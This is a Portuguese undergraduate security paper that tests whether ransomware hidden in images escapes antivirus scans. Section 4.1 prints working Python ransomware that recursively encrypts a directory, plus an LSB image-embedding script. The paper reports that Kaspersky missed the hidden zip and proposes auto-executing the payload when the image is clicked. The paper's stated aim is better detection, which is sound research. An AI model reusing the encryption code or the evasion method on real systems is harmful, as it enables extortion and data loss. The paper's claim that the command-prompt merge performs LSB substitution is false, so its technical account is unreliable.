Everton Renato da Silva Casari

Esteganografia como Ferramenta de Ransomware

Trabalho de graduação apresentado como exigência parcial para obtenção do título de Tecnólogo em Curso Superior de Tecnologia em Segurança da Informação pelo Centro Paula Souza – FATEC Faculdade de Tecnologia de Americana – Ralph Biasi.
Área de concentração: Criptografia

Americana, 16 de junho de 2023

Banca Examinadora:

Henri Alves de Godoy
Doutorado
FATEC Americana

Daniele Junqueira Frosoni
Especialista
FATEC Americna

Rodrigo Rosalis da Silva
Doutorado
FATEC Americana

Esteganografia como Ferramenta de Ransomware

Everton Renato da Silva Casari, Fatec Ministro Ralph Biasi - Americana, evertoncasari@fatec.gov.sp.br

Henri Alves de Godoy, Fatec Ministro Ralph Biasi - Americana, henri.godoy@fatec.sp.gov.br

Resumo

Este artigo apresenta uma análise detalhada da utilização da esteganografia como uma técnica eficaz para ocultar ransomware em imagens, tornando-as indetectáveis por sistemas modernos de antivírus. Mediante experimentos em um ambiente controlado, foi possível comprovar a viabilidade dessa técnica de ocultação de arquivos maliciosos e a potencial ameaça à segurança da informação.

Os resultados obtidos demonstram que os sistemas comuns de antivírus não são eficazes em detectar a presença de arquivos maliciosos como o ransomware em imagens. Ressalta ainda a eficácia da esteganografia como uma ferramenta de evasão para ataques contra sistemas e redes de computadores.

Este estudo contribui para o entendimento da viabilidade e ameaças em potencial representada pela esteganografia na ocultação de ransomware em imagens. Destaca a necessidade de desenvolver novos métodos de prevenção, detecção e proteção, a fim de proteger os sistemas e dados sensíveis de uma organização.

Palavras-chave: esteganografia, ransomware, criptografia.

Abstract

This article presents a detailed analysis of the use of steganography as an effective technique for hiding ransomware in images, making them undetectable by modern antivirus systems. Through experiments in a controlled environment, the viability of this technique for concealing malicious files and its potential threat to information security has been demonstrated.

The results obtained demonstrate that standard antivirus systems are not effective in detecting the presence of malicious files such as ransomware in images. It also emphasizes the effectiveness of steganography as an evasion tool for attacks against computer systems and networks.

This study contributes to understanding the feasibility and potential threats steganography poses in concealing ransomware in images. Underscores the need to develop new prevention, detection, and protection methods to safeguard an organization's systems and sensitive data.

Keywords: steganography, ransomware, cryptography.

1. Introdução

A Segurança da Informação atualmente é uma das áreas de maior destaque nas mídias, tendo como foco nas notícias o grande número de invasões e vazamentos de dados, por conta deste aumento de ataques cibernéticos sofrido pelas organizações de todos os segmentos, os profissionais de Segurança Informação buscam novas formas de aumentar o nível de defesa de seus sistemas da informação, tendo em vista que os criminosos também mantém um interesse por melhorar e criar novas formas de roubar a informação, atualmente a informação e os dados têm sido tratados como o novo "petróleo" devido seu alto valor.

Com o avanço da tecnologia no decorrer dos anos, é cada vez mais desafiador proteger a informação pessoal e privada contra o acesso não autorizado. Neste cenário a criptografia tem um amplo papel como ferramenta de troca de mensagens. A criptografia é uma técnica que vem sendo usada há milhares de anos, devido a sua funcionalidade de esconder os dados durante uma troca de mensagens entre dois indivíduos, em seus primórdios ela era usada para cifrar e decifrar mensagens, atualmente sua principal função está na criação de senhas de bancos, e-mails e no armazenamento de dados. (SILVA, EVANGELISTA e EVANGELISTA, 2022)

A Esteganografia é uma técnica criptográfica antiga, com seu campo de pesquisa ativo até hoje. Existem diversas técnicas usadas para aplicar a esteganografia, porém a mais conhecida é a de LSB, sendo a mais simples de ser aplicada por tanto a mais popular. Ela é eficaz quando sua comunicação está vulnerável à análise de olhos humanos, visto que o olho humano não é capaz de diferenciar as modificações realizadas nos pixels da imagem. (POLACHINI, 2022)

Este artigo consiste em alertar para a necessidade da evolução em sistemas que façam uma varredura ou um monitoramento proativo de forma mais eficaz, buscou-se por meio de pesquisas em diversas fontes e simulações em laboratórios, comprovar os riscos existentes na esteganografia que podem ameaçar a segurança dos mais diversos segmentos. Procurou-se demonstrar que o uso da esteganografia não se limita somente a enviar mensagens de forma secreta, mas também a ocultar os mais diversos tipos de arquivos como o ransomware.

2. Referencial Teórico

Para fornecer uma base sólida para todo o embasamento teórico deste artigo, foi realizado um levantamento abrangente dos temas relevantes. A seção inicia com uma explicação introdutória sobre segurança da informação, abordando conceitos básicos, e, em seguida, avança para tópicos mais avançados, como esteganografia e ransomware. Dessa forma, o artigo proporciona uma compreensão progressiva e aprofundada desses assuntos, oferecendo uma visão completa dos campos abordados neste estudo.

2.1. Segurança da Informação

Com o surgimento de grandes tecnologias, as empresas passaram a ficar cada vez mais dependentes das novas formas de negócios. Com os modelos de comércio eletrônico e agentes remotos, as empresas começaram a se preocupar com a necessidade de segurança, uma vez que os números de ameaças aumentaram muito. (LAUREANO, 2005).

As novas redes de computadores e a internet mudaram como as pessoas usam os computadores, e fizeram com que surgissem novas oportunidades e métodos de utilização de sistemas fechados, o que fez se tornar evidente os novos riscos a esses sistemas, à privacidade e à integridade da informação. Desta forma, viu-se também a necessidade de se projetar novos sistemas de segurança da informação para prevenir acessos não autorizados. (LAUREANO, 2005).

A segurança da informação pode ser considerada uma área de estudos dedicada à proteção dos dados e ativos da informação contra acessos não autorizados, alterações indevidas ou roubo da informação. (SÊMOLA, 2003).

Segundo Stalling (2014) a Segurança da Informação pode ser definida em três diferentes pilares:

- Confidencialidade: Prevenir a divulgação e o acesso não autorizado das informações, preservando as informações privadas e de acesso restrito. Podendo ser a quebra de confidencialidade a divulgação não autorizada da informação.
- Integridade: Prevenir a modificação da informação ou a exclusão não autorizada. Uma quebra de integridade é a modificação ou exclusão da informação
- Disponibilidade: Assegurar o acesso e o uso de forma confiável a informação. Uma perda da disponibilidade é a perda de acesso da informação.

Conforme a NBR ISO/IEC 17799:2001 (2001, p.2) a segurança da informação "é obtida a partir da implementação de uma série de controles, que podem ser políticas, práticas, procedimentos, estruturas organizacionais e funções de *software*."

2.2. Criptografia

É possível realizar duas formas de criptografia, a de código e a de cifras, a criptografia de códigos transforma uma parte da informação em um código pré-definido, um bom exemplo disso é o código Morse, enquanto o método de cifras usa duas técnicas diferentes para encriptar a informação, são elas: a transposição e a substituição usando algoritmos matemáticos. (ORDONEZ et al, 2005).

É mais comumente usados as cifras de transposição, essa técnica consiste em embaralhar as palavras ou caracteres em uma informação para torná-la ilegível, como, por exemplo, na palavra "SEGURANÇA" que passa a ser "GRUAÇNAES". Esse método usa tabelas pré-definidas para realizar a troca da ordem dos caracteres. (ORDONEZ et al., 2005).

Uma mensagem em seu aspecto original é conhecida como *texto claro*, quando ela passa por um processo de cifra ela passa a ser chamada de *texto cifrado*. O processo de converter uma informação em texto claro para texto cifrado é conhecido como cifração ou encriptação. Reverter o processo de um texto cifrado para um texto claro é conhecido como decifração ou decriptação. (STALLING, 2014)

A área que estuda o campo de cifra ou criptografar é chamada de Criptografia, enquanto a área que estuda o oposto, ou seja, o ato de decifrar é conhecida como Criptoanálise, o que os leigos chamam de "quebrar o código". Essas duas áreas juntam são chamadas de Criptologia. (STALLING, 2014).

2.3. Esteganografia

A esteganografia é uma forma antiga de ocultar uma mensagem, suas origens remontam há tempos antigos, onde os gregos já usavam essa técnica para enviar mensagens em tempos de guerra. (KAHN, 1996).

Atualmente a forma mais popular para o uso da esteganografia é por meio de imagens digitais, que podem ser armazenadas em um formato bitmap direto (como BMP) ou em um formato comprimido (como JPEG), e podem ser usados imagens com palhetas de cores, que normalmente estão no formato GIF. Para se realizar a inserção de uma

mensagem podem ser usadas várias técnicas como substituição, adição e ajuste. (SULLIVAN et al., 2004).

As abordagens mais comuns de inserção de mensagens em imagens são técnicas que consistem em inserir cargas no bit menos significativo de uma imagem, alterando-o de forma que não se pode ser facilmente detectado, neste contexto também são usados algoritmos para mascarar a mensagem. Todas essas técnicas podem ser usadas em imagens, mas sendo a técnica de inserção de bit menos significativa a mais eficaz de todas. (PETITCOLAS et al., 1999; WAYNER, 2002)

2.4. Ransomware

Ransomware é um tipo de *malware* que tem a finalidade de extorquir suas vítimas de forma digital, cobrando um valor específico pela liberação dos dados. (LISKA e GALLO, 2017).

A definição mais aceita hoje é de que ransomware é uma modalidade de *malware* que sequestra e criptografa as informações contidas em um computador, negando acesso aos dados e demandando um pagamento para que o usuário tenha seus dados de volta e assim restabelecer a informação. (HASSAN,2019).

O *ransomware* é uma modalidade de *malware,* que se instala de forma silenciosa no sistema do alvo e realiza a encriptação da informação, sem que o usuário note sua atividade até não ter mais o acesso aos dados desejados. (HASSAN,2019).

Presentemente o *ransomware* tem sido conhecido como umas das maiores ameaças aos sistemas de redes de computadores, e tem sido usado como o maior veículo de extorsão em uma escala nunca vista antes. (SAVAGE et al, 2015).

Existem dois tipos distintos de ransomware em circulação atualmente que são: *Locker-ransomware* e *Crypto-ransomware* (SAVAGE et al., 2015).

O *Locker-ransomware* não disponibiliza o acesso aos dados realizando o bloqueio do computador, restringindo o uso da máquina apenas a operações limitadas, e muitas vezes a única função que pode ser acessada é a forma de pagamento pelo resgate das informações. (SAVAGE et al., 2015).

O Crypto-ransomware, no entanto, usa um tipo de criptografia que encripta os dados do computador atingido, dessa forma tornam-se inacessíveis todas as informações contidas na máquina, sendo possível a recuperação apenas através da chave criptográfica que pode ser obtida mediante o pagamento do resgate aos criminosos. (SAVAGE, COOGAN e LAU, 2015).

3. Materiais e Métodos (ou Metodologia)

Para a elaboração deste trabalho foi realizada uma pesquisa bibliográfica utilizando livros, artigos científicos, dissertações, publicações em sites de fabricantes de softwares de segurança, instituições de ensino, sites especializados e o site do Google acadêmico, visando contextualizar o tema abordado e ter embasamento teórico para as técnicas utilizadas.

No presente trabalho foi usado uma VM (Virtual Machine) Windows 10, em um virtualizador de código aberto, o QEMU com auxílio do Virt-Manager que é um gerenciador de máquinas virtuais, uma imagem de 620 x 434 x 434 pixels e 24 bits, e um ransomware escrito apenas para esta finalidade de teste. Em todo o processo foi utilizado o sistema nativo do Windows para a ocultação de um arquivo zip contendo o ransomware, este sistema permite mesclar um arquivo em uma imagem, gerando um resultado de uma nova imagem idêntica à usada na ocultação do arquivo, sem que seja possível notar a diferença entre a original e a nova imagem.

A técnica de esteganografia abordada neste trabalho é a de LSB (Last Seignificant Bit - Bit menos significante), este método consiste em substituir o bit menos significativo de um pixel da imagem, realizando uma alteração na carga de cores da imagem, assim tornando a alteração impossível de ser vista pelo olho humano. (FRANÇA e MADEIRO, 2016)

Com esta técnica é possível usar uma imagem qualquer e substituir seu bit menos

significativo para ocultar um arquivo de igual ou menor tamanho, usando o padrão RGB, que significa: vermelho (R), verde (G) e azul (B), e é usado para reproduzir as cores em televisores, monitores e telas de celulares, e cada cor é formada por um valor entre 0 e 255, o que possibilita a substituição dos bits. (POLACHINI, 2022)

Por exemplo, o vermelho é composto do valor RGB 255, 0, 0, o que significa, neste caso, que não há azul nem verde em sua composição, tornando-a um vermelho puro. Já o branco, por exemplo, tem o seu valor RGB 255, 255, 2555 que é uma junção das três cores em sua tonalidade máxima. (POLACHINI, 2022)

Com essa definição de cores é possível usar a tabela ASCII para converter letras em números, transformar o código para binário, e realizar a substituição do último bit de cada pixel, um por um, pelo bit de cada palavra convertida. Desta forma, é possível inserir o código na imagem sem alterar de maneira visível seu conteúdo. (SOUSA, 2020)

Para realizar os testes após o uso da esteganografia e determinar seu sucesso ou falha, foi usado um software de mercado Kaspersky, que é capaz de identificar um arquivo malicioso, determinar seu tipo e o risco que ele oferece ao sistema operacional. A Kaspersky é uma empresa que atua no mercado de cibersegurança a 25 anos, com mais de 400 milhões de clientes espalhados por mais de 200 países, isso gera uma base de dados ampla sobre vírus e ameaças que circulam atualmente, infectando vários tipos de sistemas e empresas. (KASPERSKY 2023)

4. Resultados e Discussões

Por meio dos testes realizados em laboratório, constatou-se a eficiência do uso da esteganografia como ferramenta de ransomware, e assim obteve-se resultados relevantes. Os quais foram adquiridos sem permitir quaisquer riscos para o sistema operacional, sem ferir os conceitos da segurança da informação e garantir que não se propagasse a infecção pelo ransomware.

Sendo assim, o método utilizado demonstra que é possível por meio de uma imagem

esconder e manipular um ransomware de maneira eficiente. O que demonstra comprovação da teoria proposta.

4.1. Execução em Laboratório

Inicialmente foi escrito um ransomware na linguagem python do tipo Crypto-ransomware conforme descreve a Figura 1, para criptografar apenas um diretório e seus subdiretórios, evitando assim que o ransomware comprometesse o resultado dos testes ao se espalhar.

O código começa gerando uma chave de criptografia usando a função Fernet.generate_key() da biblioteca cryptography. fernet. A chave é um valor aleatório que será usada posteriormente para criptografar e decifrar os arquivos.

O diretório alvo é definido na variável dir_path, o código utiliza a função os.walk() para percorrer recursivamente todos os arquivos do diretório, incluindo sub-diretórios. Para cada arquivo encontrado, o código lê o seu conteúdo criptografado usando o objeto Fernet e a chave de criptografia gerada anteriormente. O arquivo criptografado substitui o arquivo original no disco.

Após criptografar todos os arquivos, a chave de criptografia é salva em um arquivo chamado key.txt, localizado no mesmo diretório alvo. Esse arquivo é essencial para a posterior decifragem dos arquivos. É importante manter essa chave, pois é necessária para recuperar os arquivos criptografados.

```python
import os
from cryptography.fernet import Fernet

# gerando uma chave de criptografia
key = Fernet.generate_key()

# criando o objeto Fernet com a chave gerada
fernet = Fernet(key)

# diretório que será criptografado
dir_path = r'C:\Users\ton\Downloads\Python-Ransomware-master\localRoot'

# percorrendo todos os arquivos do diretório
for subdir, _, files in os.walk(dir_path):
    for file in files:
        # criptografando o arquivo
        file_path = os.path.join(subdir, file)
        with open(file_path, 'rb') as f:
            data = f.read()
        encrypted_data = fernet.encrypt(data)
        with open(file_path, 'wb') as f:
            f.write(encrypted_data)

# salvando a chave de criptografia
with open(os.path.join(dir_path, 'key.txt'), 'wb') as f:
    f.write(key)
```

Figura 1 - Código ransomware. Fonte: Autoria própria.

Após a criação do ransomware e comprovado o funcionamento segundo o proposto, foi escrito um código para a realizar a esteganografia conforme descreve a Figura 2, este algoritmo foi pensado para usar a técnica de LSB.

O código utiliza a biblioteca tkinter para criar uma janela de seleção de arquivo, permitindo ao usuário escolher o arquivo que deseja ocultar, o arquivo selecionado é armazenado na variável file_path, a imagem escolhida para ocultar o arquivo é aberta utilizando a biblioteca PIL (Python Imaging Library), o caminho da imagem é fornecido na variável image_path, e a função Image.open() é usada para carregá-la na variável img.

O código abre o arquivo selecionado em modo de leitura binária ('rb') e lê o seu

conteúdo. Em seguida, converte o conteúdo do arquivo para uma representação binária utilizando a função format (byte, '08b'). Essa representação binária é armazenada na variável binary content.

Um bit "0" é adicionado ao final do conteúdo binário para indicar o fim do arquivo oculto. Essa etapa é importante para a posterior recuperação do arquivo oculto, o código percorre o conteúdo binário convertido anteriormente e divide-o em grupos de três dígitos binários consecutivos. Cada grupo é convertido para um inteiro decimal utilizando a base 2. Esses números são armazenados na lista content_list, representando o conteúdo do arquivo ocultado, as dimensões da imagem são obtidas usando a função img.size, armazenando a largura em width e a altura em height. O código verifica se a quantidade de inteiros na content_list é maior do que a capacidade de ocultação da imagem (largura multiplicada pela altura). Se a quantidade for maior, é lançada uma exceção indicando que o arquivo é muito grande para a imagem selecionada.

O código age sobre cada pixel da imagem, substituindo os componentes de cor (RGB) do pixel para ocultar o conteúdo da lista content_list. Para cada pixel, é verificado se ainda há elementos na lista content_list, se houver, são extraídos os três próximos inteiros da lista e os bits correspondentes são inseridos nos componentes R, G, B do pixel, seguindo uma estratégia de substituição específica. A primeira parte do próximo inteiro é inserida no componente R, a segunda parte no componente G e a terceira parte no componente B. Dessa forma, o conteúdo do arquivo é distribuído nos pixels da imagem. Após a ocultação do conteúdo em todos os píxeis da imagem, o código salva a imagem resultante usando a função img.save(), fornecendo um nome de arquivo para a nova imagem com o conteúdo oculto.

```python
from PIL import Image
import tkinter as tk
from tkinter import filedialog

# Abre janela de seleção de arquivo
root = tk.Tk()
root.withdraw()
file_path = filedialog.askopenfilename(title='Selecione o arquivo para esconder')

# Abre a imagem
image_path = 'fatec.jpg'
img = Image.open(image_path)

# Abre o arquivo para ser escondido
with open(file_path, 'rb') as file:
    file_content = file.read()

# Converte o conteúdo do arquivo para binário
binary_content = ''.join(format(byte, '08b') for byte in file_content)

# Adiciona um bit "0" ao final do conteúdo para indicar o fim
binary_content += '0'

# Converte o conteúdo binário para uma lista de inteiros
content_list = [int(binary_content[i:i+3], 2) for i in range(0, len(binary_content), 3)]

# Obtém as dimensões da imagem
width, height = img.size

# Verifica se o conteúdo pode ser acomodado na imagem
if len(content_list) > width * height:
    raise ValueError('O arquivo é muito grande para a imagem')

# Esconde o conteúdo na imagem
index = 0
for x in range(width):
    for y in range(height):
        if index < len(content_list):
            pixel = list(img.getpixel((x, y)))
            pixel[0] = (pixel[0] & 0b11111100) | (content_list[index] >> 2)
            pixel[1] = (pixel[1] & 0b11111100) | ((content_list[index] >> 1) & 0b00000001)
            pixel[2] = (pixel[2] & 0b11111100) | (content_list[index] & 0b00000011)
            img.putpixel((x, y), tuple(pixel))
            index += 1

# Salva a imagem com o conteúdo escondido
img.save('imagem_com_arquivo.png')
```

Figura 2 - Código esteganografia. Fonte: autoria própria.

Ao finalizar os testes usando o algoritmo de esteganografia, constatou-se que seu

uso é de extrema complexidade e requer um alto domínio de programação. Para a extração do arquivo oculto seria necessário a criação de um novo código, que fosse capaz de executar o arquivo ou de realizar sua extração por completo, a fim de disponibilizar o código do ransomware, deixando-o exposto e apto para a execução na máquina alvo, assim, optou-se pela utilização de outra técnica menos complexa.

Mediante a complexidade encontrada no primeiro método usado, decidiu-se pelo uso do prompt de comando do Windows, que permitiu realizar a esteganografia de uma forma mais simples e direta. Essa técnica pode ser usada sem a ajuda de softwares de terceiros, apenas com o uso do terminal de comando, fez-se possível mesclar o arquivo zip em uma imagem, convertendo o arquivo para binário e substituindo o último bit de cada pixel, essa aplicação gera uma cópia da imagem com os bits alterados.

Para realizar esta ação foi acessado o prompt de comando do Windows e navegou-se até o diretório que contém todos os arquivos que seriam utilizados nos testes, isso possibilitou usar a esteganografia para ocultar o arquivo zip dentro da imagem, gerando uma nova imagem que possui as mesmas características da imagem original, dessa forma não seria possível notar sua alteração.

Ao finalizar os testes, é possível notar que a imagem modificada não contém significantes alterações ao ponto de ser percebida pelo olho humano, isso gera uma camuflagem imperceptível para o arquivo de ransomware, que pode ser facilmente transportado de uma máquina para a outra. Essa avaliação pode ser vista nas imagens geradas, uma com o arquivo oculto e a outra original, não é possível detectar nenhuma diferença entre ambas as imagens.

Figura 3- Imagem original inalterada. Fonte: autoria própria.

Figura 4 - Imagem alterada por meio de esteganografia contento o arquivo. Fonte: autoria própria.

Já em posse da imagem com a esteganografia aplicada é possível realizar a extração do arquivo utilizando qualquer software que extraia ou descompacte extensões zip, neste caso se optou por utilizar o 7zip. Para extrair o arquivo contido na imagem foi acessado o software 7zip e navegou-se até o diretório em que a imagem se encontrava, dessa forma foi possível recuperar o arquivo e realizar sua extração tornando-o disponível para execução.

Para validar a funcionalidade da esteganografia foram realizados testes através do antivírus Kaspersky. Como a proposta deste artigo é a ocultação de arquivos maliciosos de ransomware, foi escolhido um antivírus com ampla atuação no mercado, assim os testes teriam maior eficácia e precisão em seus resultados. A escolha do antivírus aconteceu baseada em alguns fabricantes que são comuns entre as organizações, entre eles estão: Windows Defender (MICROSOFT 2023), BitDefender (BITDEFENDER 2023), McAfee (MCAFEE 2023), Avast (AVAST 2023) e Kaspersky (KASPERSKY 2023). Por fim, a escolha do Kaspersky se baseou em sua reputação.

Foi executado um scan utilizando o Kaspersky na imagem gerada com o arquivo zip oculto pela esteganografia, o antivírus não detectou a presença do arquivo malicioso, o que implica que a técnica utilizada foi bem-sucedida em ocultar o ransomware de forma eficaz. Essa avaliação é importante para validar a eficiência de sistemas tradicionais de antivírus para avaliar esteganografia. Mesmo com uma avaliação positiva entre os antivírus de mercado, o Kaspersky se mostrou ineficiente mediante a técnica usada.

Outra forma de tornar o código de esteganografia viável é modificá-lo para que a execução do ransomware oculto na imagem ocorra de forma automática, com esta modificação seria possível realizar a criptografia do diretório pré-estabelecido de forma automática apenas com o clique do usuário na imagem.

A técnica utilizada com o prompt de comando do Windows permitiu a realização dos testes finais com o uso do antivírus Kaspersky, que por sua vez não se mostrou eficiente em detectar o arquivo malicioso, mesmo com a utilização de uma técnica mais

simples. Também foi utilizado um scan na imagem com o ransomware oculto pelo algoritmo, o qual se comportou da mesma forma que a técnica anterior, não sendo eficiente em encontrar evidências da existência de um código malicioso na imagem.

É possível utilizar a técnica de esteganografia em diversos tipos de imagens, lembrando que, é necessário ficar atento ao tamanho da imagem e do arquivo utilizados, pois caso o arquivo tenha um tamanho superior ao da imagem, não seria possível a ocultação do mesmo, por exemplo, ao usar um arquivo que tenha um tamanho de 10 Megabytes a imagem usada deve ter os mesmos 10 Megabytes ou mais para poder comportar o conteúdo inserido.

5. Considerações Finais

Com o uso da técnica de esteganografia foi possível comprovar que um arquivo malicioso pode se tornar indetectável a sistemas modernos de antivírus usados no mercado mundial, mesmo com tecnologia capaz de analisar qual o tipo do arquivo e determinar se ele traz risco para o ambiente do sistema operacional, o antivírus não constatou a presença do ransomware dentro da imagem.

A partir dos resultados obtidos por meio dos testes realizados em um ambiente controlado, foi possível identificar uma vulnerabilidade nos sistemas automatizados de detecção de ameaças e vírus.

Ao trabalhar com as possibilidades de utilização de técnicas conhecidas como a esteganografia para o uso de novas modalidades de ataques, conclui-se que existe a necessidade de atualizar os sistemas de antivírus existentes e criar formas de verificação de arquivos, não somente para ameaças conhecidas, mas também para modalidades que possam parecer ter outras finalidades, como na técnica usada, a qual inicialmente era usada para trocar informações de forma secreta.

Um ataque desse tipo pode se beneficiar de outros tipos de ataques, como por exemplo o uso de backdoors, que ao explorar uma vulnerabilidade conhecida em um sistema operacional, pode dar acesso ao atacante de forma ilimitada ao sistema infectado, o que, por sua vez, permite que o autor do ataque possa infiltrar um arquivo de ransomware por uma imagem, sem que seja notada a sua presença, isso possibilita que o atacante tenha total controle da ativação do ransomware, o que traz um enorme risco a segurança da organização, a qual pode ter seus dados roubados antes que ocorra a infecção do ransomware que inviabilizaria o acesso a todos os dados.

Constata-se assim que a esteganografia é um meio legítimo para a realização de ataques que comprometem a segurança das empresas, não somente para o uso de mensagens criptografadas, mas também para a infiltração de arquivos maliciosos como o ransomware.

Como trabalho futuro sugere-se aprimorar a análise de imagem forense visando a detecção de conteúdo oculto, como esteganografia. A pesquisa nessa área pode explorar o desenvolvimento de métodos avançados para identificar de forma mais precisa e eficiente as alterações sutis nas imagens que indiquem a presença de informações ocultas. Isso envolve o estudo de algoritmos de processamento de imagem, técnicas estatísticas avançadas e abordagens de aprendizado de máquina para identificar padrões de manipulação digital. Assim, o objetivo seria fortalecer a capacidade de detecção de esteganografia em imagens, contribuindo para a Segurança da Informação, a preservação de evidências digitais e o auxílio na investigação de atividades maliciosas.

Referências

7-ZIP. Disponível em https://www.7-zip.org/. Acessado em: maio de 2023

AVAST. Sobre nós. Disponivel em: https://www.avast.com/pt-br/about#pc acessado em: maio de 2023

BITDEFENDER. Sobre a Bitdefender. Disponível em: https://www.bitdefender.com.br/company/. Acessado em: maio de 2023

FRANÇA, A. E. A. G, MADEIRO, F.. Esteganografia LSB em Imagens Digitais Baseada em Sequências VDH. Revista de Engenharia e Pesquisa Aplicada, Volume2, Número1, 2016. Disponível em http://www.revistas.poli.br/index.php/repa/article/view/362/110. Acesso em: maio de 2023

HASSAN, Nihad A. "Perícia forense digital". Traduzido por Aldir Coelho Corrêa da Silva. São Paulo: Novatec Editora Ltda. pp. 20 -380, 2019.

HASSAN, Nihad A. Endpoint Defense Strategies. In:HASSAN, Nihad A. Ransomware Revealed. Berkeley: Apress, pp 22 -230, 2019

KASPERSKY. Sobre a Kasperskay. Disponível em: https://www.kaspersky.com.br/about. Acesso em: abril de 2023

KAHN, D. The history of steganography. In: Proceedings of the First International Workshop. Cambridge, UK: [s.n.], 1996.

Microsoft. Windows Defender. Disponível em: https://www.microsoft.com/pt-br/windows/comprehensive-security?r=1 Acessado em: maio de 2023

LISKA, Allan; GALLO, Timothy. Ransomware: Defending against digital extortion. Sebastopol: O'Reilly Media, 2017.

ORDONEZ, E.; PEREIRA, F. CHIARAMONTE, R. Criptografia em Software e Hardware. 1st edition. ed. São Paulo: Novatec, 2005. ISBN 85-7522-069-1

PETITCOLAS, F. A. P.; ANDERSON, R. J.; KUHN, M. G. Information hiding — A survey. Proceedings of the IEEE, v. 87, n. 7, 1999.

POLACHINI, M. E. (2022). Detecção de esteganografia em imagens utilizando aprendizado de máquina. pp. 15-33, agosto 2022

RAFAEL, Sousa. Esteganografia por LSB. Disponível em:https://hackingnaweb.com/criptografia/esteganografia-por-lsb/. Acesso em: abril de 2023

SAVAGE, Kevin; COOGAN, Peter; e LAU, Hon. "The evolution of ransomware". Version 1.0.6 ago. 2015. Disponível em:https://docs.broadcom.com/doc/the-evolution-of-ransomware-15-en. Acesso em: maio de 2023

SÊMOLA, Marcos. Gestão da Segurança da Informação: Uma visão Executiva. pp 10-190. 2013.

SILVA, M. V., EVANGELISTA, D. H. R., EVANGELISTA, C. J. (2022). Tecnologias digitais aliadas ao ensino de Criptografia. The Journal of Engineering and Exact Sciences, Vol. 08, No. 05, pp. 14313-01, maio 2022 Disponivel em: https://periodicos.ufv.br/jcec/article/view/14313/7338. Acesso em: maio de 2023

STALLINGS, William. Criptografia e Segurança de Redes: princípios e práticas. Pag: 26.

WAYNER, P. Disappearing Cryptography: Information Hiding: Steganography and Watermarking (2nd Edition). San Francisco, CA, USA: Morgan Kaufmann Publishers Inc., 2002. pp. 19-36, ISBN 1558607692.